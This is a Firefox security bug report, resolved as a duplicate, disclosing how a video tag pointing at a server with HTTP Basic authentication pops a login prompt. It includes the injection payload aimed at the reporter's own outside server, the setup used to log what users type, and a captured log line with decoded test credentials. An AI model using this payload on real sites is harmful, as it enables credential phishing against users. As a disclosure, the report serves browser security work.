1699640 - Video source can prompt for http auth credentials

Status: RESOLVED DUPLICATE of bug 1692268

(Firefox :: Security, defect)

Description

[Harshit Mahendra]

+++ This bug was initially created as a clone of Bug #1692268 +++

I can Prompt a username and password while using video tag

Steps to reproduce the problem:

1. we need a server with http authentication enabled in it. In my case I am using this https://staging.coverr.co.

2. we need a video tag using this url for example --
   <video src=https://staging.coverr.co ></video>

3. while using this this html Tag in any html I got Prompt.

Why this issues related to Security bug?

1. This Issue can bypass all XSS sanitizer Liberties like DOMPurify, js-xss etc. by adding this payload <video src=https://staging.coverr.co/> into an html. so the attacker can use this payload and can inject this Payload in the websites.

2. Attacker can modify http authentication is such a way that every time a user fill the username and password that can store into a file.

for example

https://youtu.be/eimzOegGlvs

Here I made the video on spoofing username and password using HTTP Authentication with Video tag

Here is the context of the video

The youtube video explains how the Video tag is so Dangerous.

First I create an Ubuntu 20 instance on AWS, Then I install Apache on it.
Then I configure apache HTTP Authentication with MOD_LOG_FORENSIC enable on it.

Then I make this payload <video src=http://18.219.134.154/ ></video> and inject this payload into this website. http://boomgoo.com/b/test.html

Then a normal user opens that infected website. The user inserts his username and password into the Prompt...

Then I opened the forensic_log.log file on my Ubuntu 20 server...
I get this

GET / HTTP/1.1|Host:18.219.134.154|User-Agent:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv%3a86.0) Gecko/20100101 Firefox/86.0|Accept:video/webm,video/ogg,video/;q=0.9,application/ogg;q=0.7,audio/;q=0.6,/;q=0.5|Accept-Language:en-GB,en;q=0.5|Range:bytes=0-|Connection:keep-alive|Referer:http%3a//boomgoo.com/b/test.html|Authorization:Basic aG1faGFyc2hpdDpwYXNzd29yZDFxMnczZTRy

here is the Bearer Token aG1faGFyc2hpdDpwYXNzd29yZDFxMnczZTRy

When I decode this Token with Base64, then I got this - hm_harshit:password1q2w3e4r

The User Inserted this username => hm_harshit and the password => password1q2w3e4r.

The weird behavior of HTTP Authentication that I noticed?

Every time the user clicks on the OK button on the Prompt... It appears again and again till the user inserts the correct information of HTTP auth.
It means it Forces the user to try as many as attempts. Users can insert sensitive information with this behavior.

While using this payload <video src=https://staging.coverr.co/> I realized, this Url https://staging.coverr.co is not giving the Video. then Why it's showing Prompt? The Video is not there in the Url.

Firefox Version 85.0

User agent - Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0

Thanks,
Harshit mahendra

Comment 1

[:Gijs (he/him)]

Please don't clone bugs? It doesn't seem like this is in any way different from the previous one you filed...